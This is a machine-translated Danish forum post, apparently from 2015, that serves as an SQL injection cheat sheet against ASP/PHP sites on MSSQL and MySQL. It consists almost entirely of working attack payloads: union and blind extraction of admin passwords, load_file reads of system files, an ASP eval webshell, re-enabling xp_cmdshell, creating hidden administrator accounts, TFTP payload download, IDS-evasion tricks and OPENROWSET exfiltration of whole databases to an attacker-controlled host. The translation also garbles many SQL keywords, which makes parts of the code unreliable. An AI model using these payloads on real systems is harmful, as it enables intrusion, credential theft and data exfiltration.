Denne artikel er en spejling af maskinoversættelse, klik venligst her for at springe til den oprindelige artikel.

Udsigt: 20889|Svar: 2

[Sikker kommunikation] SQL Injection Book - ASP Injection Sårbarhed Fuld Kontakt

[Kopier link]
Opslået på 28/09/2015 18.21.41 | | |


MSSQL cross-database-forespørgsler (stinkende mad!) Mørk)

Få hver eneste dråbe MS SQL ud

SQL-sætningsreferencer og recordset-objekter forklares i detaljer

Om lagrede procedurer i SQL Server

Opret en webshell med mssql-backup

SQL_Injection avancerede anvendelser

Cross-site SQL-injektion (laokai)

Mærkelig SQL-injektion (AMANL)

Avanceret SQL-injektion i SQL Server-applikationer

Sådan bruger du SQL-injektion til at gennemsøge mapper

Gennemgang af SQL-injektionsteknikker (Oversætter: demonalex)

Nogle angreb på SQL-databaser

SQL Injection Angrebsteknik (JSW)

SQL_Injection Avancerede Applikationer (APACHY)

Usædvanlige metoder til SQL-injektion (Guilin Veteran)

Backup af en granat

Tal om php+mysql injektionssætningsstruktur (Heyhehehehe·≯Super· Hei)

Avanceret SQL-injektion med MySQL(angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL manuel injektionsleksikon

Forudsætninger kræver værktøjer: SQL Query Analyzer og SqlExec Sunx Version
==============================================================================================
1. Afgør om der er et injektionspunkt
; og 1=1 og 1=2
2. Gæt på, at bordets navn ikke er andet end admin, admin, brugerpass, brugeradgangskode osv.:
og 0<>(vælg antal(*) fra *)
og 0<>(vælg antal(*) fra admin) — Bestem om admin-tabellen eksisterer
3. Gæt antallet af konti Hvis du støder på 0< gå tilbage til den korrekte side 1< returner fejlsiden for at angive, at antallet af konti er 1
og 0<(vælg tælling(*) fra admin)
og 1<(vælg tælling(*) fra administration)
4. Gæt feltnavnet Tilføj det feltnavn, vi tænker på, i len( ) parenteserne.
og 1=(vælg antal(*) fra admin hvor len(*)>0)–
og 1=(vælg antal(*) fra admin, hvor len(brugernavn)>0)
og 1=(vælg tælling(*) fra admin, hvor len(_blank>adgangskode feltnavn)>0)
5. Gæt længden af hvert felt Gæt længden er for at transformere >0, indtil den korrekte side returneres
og 1=(vælg antal(*) fra admin, hvor len(*)>0)
og 1=(vælg antal(*) fra admin, hvor len(name)>6) fejl
og 1=(vælg antal(*) fra admin hvor len(name)>5) Den korrekte længde er 6
og 1=(vælg antal(*) fra admin, hvor len(name)=6) er korrekt
og 1=(vælg antal(*) fra admin, hvor len(password)>11) er korrekt
og 1=(vælg antal(*) fra admin, hvor len(password)>12) fejllængde er 12
og 1=(vælg antal(*) fra admin, hvor len(password)=12) er korrekt
6. Gæt tegnene
og 1=(vælg tælling(*) fra admin hvor venstre(navn,1)=a) — Gæt det første ciffer i brugerens konto
og 1=(vælg tælling(*) fra admin, hvor venstre(navn,2)=ab)—Gæt det andet ciffer i brugerens konto
Tilføj bare ét tegn ad gangen for at gætte, gæt nok cifre, som du lige har gættet, og kontonummeret kommer frem
(1) Gæt navnet på bordet

Anvendte sætninger:
og eksisterer (vælg * fra tabelnavn)

For eksempel:
og eksisterer (vælg * fra admin)

Hvis siden giver korrekt ekko, betyder det, at det tabelnavn, vi gættede her, er korrekt, og hvis siden er forkert, betyder det, at tabelnavnet, vi skrev her, er forkert

, så skift bordets navn og fortsæt med at gætte, indtil du gætter.

Generelt inkluderer almindeligt anvendte tabelnavne admin, administration, bruger, eller put det i værktøjskørslen
(2) Gæt marken

Anvendte sætninger:
og findes (vælg feltnavn fra tabelnavn)

For eksempel:
og findes (vælg brugernavn fra administrator)

Her, forudsat at admin-tabellen er den tabel, jeg gættede korrekt ovenfor, vil jeg afgøre, om brugernavnsfeltet eksisterer, jeg skal bruge denne sætning, hvis siden

Hvis face-echo'en er korrekt, betyder det, at feltnavnet, vi gættede her, er korrekt, og hvis siden er forkert, betyder det, at feltnavnet, vi skrev her, er forkert

, så skift feltnavnet og fortsæt med at gætte, indtil du gætter.

Generelt inkluderer almindelige feltnavne brugernavn, adgangskode, bruger, pass, navn, pass, pwd, usr, psd og andre felter
(3) orden efter

Ordre med er at få summen af antallet af felter på den side, forberedt til næste fælles forespørgsel
(4) Union Select

  1. Hvis du understøtter fælles forespørgsel, find displaybitten http://www.xxx.com/product_show.asp?id=1 og 1=2 union select

1,2,3,4,5,6,7,8,9,10,11
Antag, at displaybittene er 5,6. Dernæst behøver vi blot at erstatte feltnavnene, der svarer til administratorens brugernavn og adgangskode, med placeringen af display-bitten her
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 fra admin fandt baggrundslogin
  2. Hvis fælles forespørgsel ikke understøttes
Administratorens brugernavn og adgangskode kan ikke opnås uden fælles forespørgsel – ved brug af Ascii ordret dekodning
To
  Brug order by til at bedømme antallet af bits i tabellen, og hvis det ikke virker, brug union select til at arrangere dem én ad gangen, her antager vi 8 bits
Tre
  Brug en fælles forespørgsel til at bestemme visningsbittene
Fire
  Brug display-bitten til at finde databasenavnet, databaseversion, 5.0 eller nyere kan injiceres
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,bruger(),0x5c,
version()),8
Fem
  Med databasenavnet kan du begynde at få tabelnavnet skema = efterfulgt af HEX-værdien for databasenavnet og gætte tabelnavnet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+fra+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Seks
  Det analyserede tabelnavn bestemmer HEX-værdien af administratorens tabelnavn=tabelnavn og gætter felterne i tabellen
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(TYDELIGT

+column_name),8+
fra+information_schema.columns+hvor+table_name=0x7075625F7765626D6173746572
Syv
  Efter at have fået felterne i admin-tabellen, lad os få indholdet af felterne
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(TYDELIGT

+brugernavn,
0x5f,userpwd),8+from+pub_webmaster
Otte
  Værktøjet scanner baggrunden: Log ind for at uploade trojaneren efter at have fundet den, og hvis du ikke kan finde den robots.txt fil, kan du få adgang til den fil.
Ni
  Hvis du ikke kan finde baggrunden, vil adgangskoden til MYSQL-administratoren blive afsløret
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(bruger,adgangskode),8+fra+mysql.user
Ti
  Tilfældigt tilgår du en sti, er feedbacken 404-standardsiden for IIS6, hvilket angiver, at webserveren er: Windows+IIS6+php+MySQL-miljø
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Denne sti kan hente webstedets konfigurationsinformation.
  Konstruktionsudsagn http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Elleve
  Analyser koden og find baggrundsadressen
  I det første trin skal vi få længden af felterne i tabellen
Anvendte udsagn:
og (vælg top 1 len(feltnavn) fra tabelnavn>0
Som hvad:
og (vælg top 1 len(admin_name) fra admin)>0
Siden vises normalt, længden af feltet admin_name er større end 0, og jeg vil indsende:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Siden viser en fejl, der angiver, at feltet er mellem 0 og 10, og længden er 5 ved hjælp af dikotomien
Ved at bruge samme metode til at bestemme længden af feltet for administratorens adgangskode får jeg en længde på 16
  Trin 2
Lad os nu gå videre til andet trin, tage et bestemt tegn i feltet og få ASCII-koden for tegnet, som bruges

Udtalelse:
og (vælg top 1 asc(mid(feltnavn, N,1)) fra tabelnavn)>0
Lad mig se på denne sætning separat, først den inderste mid(brugernavn, 1,1) funktion, som er det første tegn i admin_name-feltet, N

angiver, at de første tegn skal opsnappes,
Så repræsenterer den ydre asc()-funktion, som konverterer de tegn, der er opsnappet af mid-funktionen, til ASCII-kode, den yderste øverste 1, returfeltet for førstepladsen

En rekord, så,
">0" til sidst er for at sammenligne den konverterede ASCII-kode med dette tal og til sidst få aflytningen ved konstant at ændre den sidste værdi

Få detaljerne om denne karakter
ASCII-kode
Indsendelse:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Siden vises normalt, hvilket indikerer, at ASCII-koden for dette tegn er større end 30.
Indsendelse:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Siden vises normalt, hvilket indikerer, at ASCII-koden for dette tegn er større end 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII-koden, jeg endte med for denne karakter, er 97
Sammenlign ASCII-tabellen:
Det kan konkluderes, at det første tegn er "a".
Derefter vil jeg bedømme ASCII-koden for den anden karakter.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Siden vises normalt, hvilket indikerer, at ASCII-koden for tegnet er større end 90, og den sidste værdi ændres altid
Den samme metode gav administratorens adgangskode, og resultatet jeg fik var:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
og 1=(vælg top 1 count(*) fra Admin, hvor Asc(mid(pass,5,1))=51) –
Denne forespørgselssætning kan gætte den kinesiske bruger og _blank> adgangskode. Erstat blot følgende numre med den kinesiske ASSIC-kode

Konverter til karakterer.

grupper med users.id ved at 1=1–www.myhack58.com
Grupper efter users.id, users.username, users.password, users.privs med 1=1–
; indsæt i brugerværdier (666, attacker, foobar, 0xffff)–

UNION Select TOP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor

TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor

TABLE_blank>_NAME=logintabel Hvor COLUMN_blank>_NAME IKKE I (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor

TABLE_blank>_NAME=logintabel Hvor COLUMN_blank>_NAME IKKE I

(login_blank>_id,login_blank>_name)-
UNION Vælg TOP 1 login_blank>_name FRA logintabel –
UNION Vælg TOP 1 adgangskode FRA logintabel hvor login_blank>_name=Rahul–
Se på patchen spillet af _blank>-serveren = forkert SP4-patch sort bjælke-sikkerhedsnet
og 1=(vælg @@VERSION)–

Se på tilladelserne for _blank> databaseforbindelseskontoen, og den returnerer normalt, hvilket beviser, at det er sysadmin-tilladelsen for _blank> serverrollen.
og 1=(Vælg IS_blank>_SRVROLEMEMBER(sysadmin))–

Bestem om databasekontoen _blank> tilsluttet. (Brug SA-konto til at oprette forbindelse og returnere normal = bevis at den tilsluttede konto er SA)
og sa=(Vælg System_blank>_user)–
og user_blank>_name()=dbo–
og 0<>(vælg user_blank>_name()–

Se om xp_blank>_cmdshell sletter
og 1=(Vælg tælling(*) FRA master.dbo.sysobjects Hvor xtype = X OG navn = xp_blank>_cmdshell)



xp_blank>_cmdshell slettes, gendannes og understøtter absolut sti-gendannelse
; EXECUTIVE master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== databasetilladelse er eksponeret for hjemmesidens fysiske stikode

==========================================================================
1、dropbord [jm_tmp]; Opret tabel [jm_tmp](værdi navrchar(4000) null,data nvarchar(4000)

null) -- Opret tabel


2、 slet [jm_tmp]; Indsæt [jm_tmp] executive master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Indsæt site-mappen i tabelfeltet


3、og (vælg top 1 cast([data] som nvarchar(4000) karakter(124) fra [jm_tmp] Bestilling efter [data]

beskrivelse)=0 '//Eksponeret felt


4. Drop table [jm_tmp] -- slet denne tabel.
for kommandoen om at hente granaten
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Andre stationsstier
======================load_file() Almindeligt anvendte følsomme oplysninger ===========================================
1、 erstatte(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、erstatte(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
De to ovenstående er for at vise en PHP-fil, der fuldt ud viser koden. Der er tidspunkter, hvor nogle tegn ikke er udskiftet, såsom "<" i stedet for "space", der vender tilbage

Webside. Og koden kan ikke vises.

3. load_file(char(47)) kan angive rodmappen for FreeBSD- og Sunos-systemer

4. Se Linux APACHE virtual host konfigurationsfilen i /etc/httpd/conf/httpd.conf eller /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf eller C:\apache\conf\httpd.conf for at se WINDOWS

System Apache-fil

6. c:/Resin-3.0.14/conf/resin.conf Se resinfilens konfigurationsinformation for hjemmesiden udviklet af jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf for at se den virtuelle JSP-vært, der er konfigureret på Linux-systemet

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin eksplode-sti

11. C:\Windows\system32\inetsrv MetaBase.xml\ Se den virtuelle værtkonfigurationsfil for IIS

12. /usr/local/resin-3.0.22/conf/resin.conf for at se RESIN-konfigurationsfilen for 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Samme som ovenfor

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuel vært

15. /etc/sysconfig/iptables afhænger af firewall-politikken

16. /usr/local/app/php5 b/php.ini PHP-ækvivalente indstillinger

17. /etc/my.cnf MYSQL konfigurationsfil

18. /etc/redhat-release system-version af Red Hat

19 、C:\mysql\data\mysql\user. MYD findes i brugeradgangskoden i MYSQL-systemet

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 for at se IP.

21. /usr/local/app/php5 b/php.ini //php-relaterede indstillinger

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuelle hjemmesideindstillinger

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue viser distributionsinformationen for Linux-kernen

26、/etc/ftpuser

27. Tjek driftslogfilen under LINUX user.bash_history eller .bash_profile

28、/osv/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokal/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Eksperimenter selv med omvendt PING
; brug master; erklære @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ud; Ledelse

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Opret en konto
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Opret en virtuel mappe E-disk:
; erklære @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kør,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Adgangsattributter: (med skrivning til en webshell)
erklære @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kør,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Specielt _blank> trick til at burste biblioteket: :%5c=\ eller modificere %5 med / og \ for at committe
og 0<>(vælg top 1 stier fra newtable)–

Få databasenavnet (fra 1 til 5 er systemets ID'er, og du kan vurdere dem over 6)
og 1=(vælg navn fra master.dbo.sysdatabases, hvor dbid=7)–
og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=6)
Indsend dbid i tur = 7,8,9.... Få flere _blank> databasenavne

og 0<>(vælg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=U) burster ind i en tabel, forudsat admin
og 0<>(vælg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=du og navn ikke er i (Admin)).

Andre borde.
og 0<>(vælg count(*) fra bbs.dbo.sysobjects hvor xtype=you og name=admin
og uid>(str(id))) Den numeriske værdi af UID antages at være 18779569 uid=id
og 0<>(vælg top 1 navn fra bbs.dbo.syscolumns hvor id=18779569) får et admin-felt, false

Sæt til user_blank>_id
og 0<>(vælg navn øverst 1 fra bbs.dbo.syscolumns, hvor id=18779569 og navn ikke er i
(id,...)) at eksponere andre felter
og 0<(vælg user_blank>_id fra BBS.dbo.admin hvor brugernavn>1) for at få brugernavnet
Til gengæld kan du få _blank> adgangskode。。。。。 Antag, at der findes felter som user_blank>_id brugernavn, adgangskode osv

og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=6)
og 0<>(vælg top 1-navn fra bbs.dbo.sysobjects hvor xtype=U) for at få tabelnavnet
og 0<>(vælg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=du og navn ikke i(Adresse))
og 0<>(vælg antal(*) fra bbs.dbo.sysobjects hvor xtype=you og name=admin og uid>(str(id)))

Bestem id-værdien
og 0<>(vælg øverste 1-navn fra BBS.dbo.syscolumns, hvor id=773577794) alle felter

?id=-1 union vælg 1,2,3,4,5,6,7,8,9,10,11,12,13,* fra admin
?id=-1 union vælg 1,2,3,4,5,6,7,8,*,9,10,11,12,13 fra admin (union, access er også nem at bruge)

Få WEB-stien
; Opret tabel [DBO]. [bytte] ([swappass][char](255)); –
og (vælg top 1 swappass fra swap)=1–
; Opret TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklar @test varchar(20) exec

Mester.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, værdier=@test

OUTPUT indsæt i paths(path) values(@test)–
; brug ku1; –
; oprette table cmd (STR-billede); – Opret en tabel-cmd med billedtypen
1. Måden at fjerne xp_cmdshell-udvidelsesprocessen på er at bruge følgende udsagn:

hvis findes (vælg * fra dbo.sysobjects hvor id=object_id(N'[dbo].[ xpcmdshell]') og

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
executive sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Måden at tilføje xp_cmdshell udvidelsesproces på er at bruge følgende udsagn:

(1) SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Først udfyldes %'er i Format-indstillingen i SqlExec Sunx Version og indtastes i CMD-indstillingen

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

Fjern

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Der findes xp_blank>_cmdshell testprocesser:
; Exec Master.. xp_blank>_cmdshell instruktør
; Eksekutiv master.dbo.sp_blank>_addlogin Jiaoniang$; – Tilføj SQL-konti
; exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell netbruger jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Exec Master.. xp_blank>_servicecontrol start, planlæg at starte _blank> service
Exec Master.. xp_blank>_servicecontrol start, server
; DEKLAR @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c netbruger jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Upload filer med TFTP

; Deklar @a sysname-sæt @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarér @a sysname-sæt @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; erklære @a; sæt @a=db_blank>_name(); Backup database @a til disk=din IP Din delte mappe bak.dat
Hvis det er begrænset, ja.
Vælg * fra openrowset(_blank>sqloledb,server; sa; , vælg OK! Ledelse

master.dbo.sp_blank>_addlogin hax)

Forespørgselsstruktur:
Vælg * FRA nyheder Hvor id=... OG emne=... OG .....
adminand 1=(vælg tælling(*) fra [bruger] hvor brugernavn=victim og right(left(userpass,01),1)=1)

og UserPass <>
Select 123; –
; brug master; –
:a eller navn som fff%; – Viser en bruger ved navn ffff.
og 1<>(vælg tælling (e-mail) fra [bruger]); –
; Opdater [brugere] sæt e-mail=(vælg top 1-navn fra sysobjects hvor xtype=du og status>0) hvor

name=ffff; –
; Opdater [brugere] sæt e-mail=(vælg top 1 id fra sysobjects hvor xtype=du og name=ad) hvor

name=ffff; –
; Opdater [brugere] sæt e-mail=(vælg top 1 navn fra sysobjects hvor xtype=du og id>581577110)

hvor navn=ffff; –
; Opdater [brugere] sæt e-mail=(vælg top 1 count(id) fra adgangskoden), hvor name=ffff; –
; Opdater [brugere] sæt e-mail=(vælg top 1 PWD fra adgangskode hvor ID=2) hvor navn=FFFF; –
; Opdater [brugere] sæt e-mail=(vælg øverste 1 navn fra adgangskode hvor id=2) hvor navn=ffff; –
Ovenstående sætning er at hente den første brugertabel i _blank>-databasen og indtaste tabelnavnet i e-mailfeltet for ffff-brugeren.
Ved at se brugerprofilen for ffff kan du få den første tabel kaldet AD
Få derefter ID'et på denne tabel i henhold til bordnavnets annonce for at få navnet på den anden tabel

indsæt i brugerværdier( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
indsæt i brugerværdier(667,123,123,0xffff)–
Indsæt værdier i brugerværdier (123, admin–, adgangskode, 0xffff)–
; og bruger>0
; og (vælg antal(*) fra sysobjects)>0
; og (vælg antal(*) fra mysysobjects)>0 // for access_blank>-databasen

Opfør navnet på datatabellen
; Opdater AAA-sæt AAA=(vælg Top 1-navn fra sysobjects hvor xtype=du og status>0); –
Her opdateres det første tabelnavn til feltet AAA.
Læs den første tabel, og den anden tabel kan læses sådan her (tilføj og navn efter betingelsen<> navnet på den tabel, du lige har fået).
; Opdater AAA-sæt AAA=(vælg Top 1-navn fra sysobjects, hvor xtype=du og status>0 og

navn<>stemme); –
Så id=1552 og eksisterer (vælg * fra aaa hvor aaa>5)
Læs den anden tabel op og læs den én efter én, indtil der ikke er nogen tilbage.
Læsefeltet ser sådan ud:
; opdater AAA-sættet AAA=(vælg top 1 col_blank>_name(object_blank>_id(tabelnavn),1)); –
Så id=152 og eksisterer (vælg * fra aaa, hvor aaa>5) får en fejl og får feltnavnet
; opdater AAA-sættet AAA=(vælg top 1 col_blank>_name(object_blank>_id(tabelnavn),2)); –
Så id=152 og eksisterer (vælg * fra aaa, hvor aaa>5) får en fejl og får feltnavnet

[Få navne på datatabellen] [Opdater feltværdien til tabelnavnet, og læs derefter værdien af dette felt op for at få tabelnavnet]
Opdater tabelnavn, sæt felt=(vælg øverste 1-navn fra sysobjects, hvor xtype=du og status>0 [ og navn<>

Tabelnavnet du får Find én plus én]) [ hvor betingelse] vælg top 1-navn fra sysobjects hvor xtype=du og

status>0 og navn ikke i (tabel1,tabel2,...)
Oprettelse af en databaseadministratorkonto og en systemadministratorkonto _blank> _blank> sårbarhedsinjektion via SQLSERVER [Den aktuelle konto skal være SYSADMIN-gruppen]

[Få datatabel feltnavn] [Opdater feltværdien til feltnavnet, og læs derefter værdien af dette felt op for at få feltnavnet]
opdater tabelnavn sæt felt=(vælg top 1 col_blank>_name(object_blank>_id (datatabelnavn til forespørgsel), feltkolonne

For eksempel: 1) [ hvor betingelse]

Omgåelse af IDS-detektion [ved brug af variabler]
; Deklar @a sysname-sæt @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarér @a sysname-sæt @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Åbn den fjern _blank> database
Grundlæggende syntaks
vælg * fra OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vælg * fra tabel1 )
Parametre: (1) OLEDB Udbydernavn
2. Forbindelsesstrengens parameter kan være enhver port til tilslutning, såsom
vælg * fra OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,

Vælg * fra tabellen
3. Kopier hele _blank>-databasen for målværten og indsæt alle fjerntabeller i den lokale tabel.

Grundlæggende syntaks:
indsæt i OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vælg * fra tabel1) vælg

* fra tabel2
Denne linjesætning kopierer alle data fra table2-tabellen på målhosten til table1-tabellen i den eksterne _blank>-database. Passende reparationer i praktisk anvendelse

Ændr IP-adressen og porten på forbindelsesstrengen, så den peger derhen, hvor du har brug for den, for eksempel:
indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg

* fra tabel1) vælg * fra tabel2
indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg

* fra _blank>_sysdatabases)
Vælg * fra master.dbo.sysdatabases
indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg

* fra _blank>_sysobjects)
Vælg * fra user_blank>_database.dbo.sysobjects
indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg

* fra _blank>_syscolumns)
Vælg * fra user_blank>_database.dbo.syscolumns
Replikér _blank> database:
indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg

* fra tabel1) vælg * fra databasen.. Tabel1
indsæt i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Netværk=DBMSSOCN; Adresse=192.168.0.1,1433; ,vælg

* fra tabel2) vælg * fra databasen.. Tabel2

